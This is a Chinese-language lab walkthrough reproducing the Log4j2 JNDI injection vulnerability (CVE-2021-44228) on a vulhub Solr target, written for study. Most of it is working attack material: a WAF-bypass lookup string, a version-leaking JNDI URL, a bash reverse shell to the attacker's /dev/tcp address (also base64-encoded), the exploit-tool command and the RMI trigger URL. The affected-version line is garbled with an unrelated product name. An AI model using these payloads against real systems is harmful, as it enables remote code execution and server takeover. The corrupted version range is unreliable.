log4j2漏洞复现(CVE-2021-44228)
Apache Log4j2
影响范围
Apache Log4j 2.x<★Apache Shiro★=2.14.1
受影响的应用及组件
Spring-Boot-Strater-log4j2、Apache Solr、Apache Flink、Apache Druid
原理
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
大概的执行逻辑
黑客在自己的客户端启动一个带有恶意代码的 rmi 服务,通过服务端的
log4j 的漏洞,向服务端的 jndi context lookup 的时候连接自己的 rmi 服务
器,服务端连接 rmi 服务器执行 lookup 的时候会通过 rmi 查询到该地址指
向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中
写入逻辑,就会在服务端(jndi rmi 过程中的客户端)实例化的时候执行到
这段逻辑,导致 jndi 注入。
waf绕过
1 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc} |
复现环境
靶场使用 :vulhub中CVE-2021-44228容器
靶机IP:192.168.2.108
攻击机IP(kali):192.168.2.110
复现过程
开启环境
启动docker环境后访问192.168.2.108:8983,成功访问证明环境启动成功
验证漏洞
1 | http://192.168.2.108:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.hbpbem.dnslog.cn} |
成功验证java版本,存在漏洞,进行漏洞攻击获取shell
漏洞利用
这里使用JNDI注入工具,在攻击机中使用,构造反弹shell的paylod
1 | bash -i > /dev/tcp/192.168.2.110/6969 0>&1 |
将payload进行bash64编码,构造工具使用语句
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMi4xMTAvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.2.110 |
根据我们之前获取的java版本,可以得知我们此处应该使用JDK1,.8的注入语句,于是我们访问
http://192.168.2.108:8983/solr/admin/cores?action=${jndi:rmi://192.168.2.110:1099/vlr3fx}
并在攻击机中使用nc监听6969端口获取shell(监听端口为payload中设置端口)
修复建议
1 | 1、添加 jvm 启动参数-D log4j2.formatMsgNoLookups=true |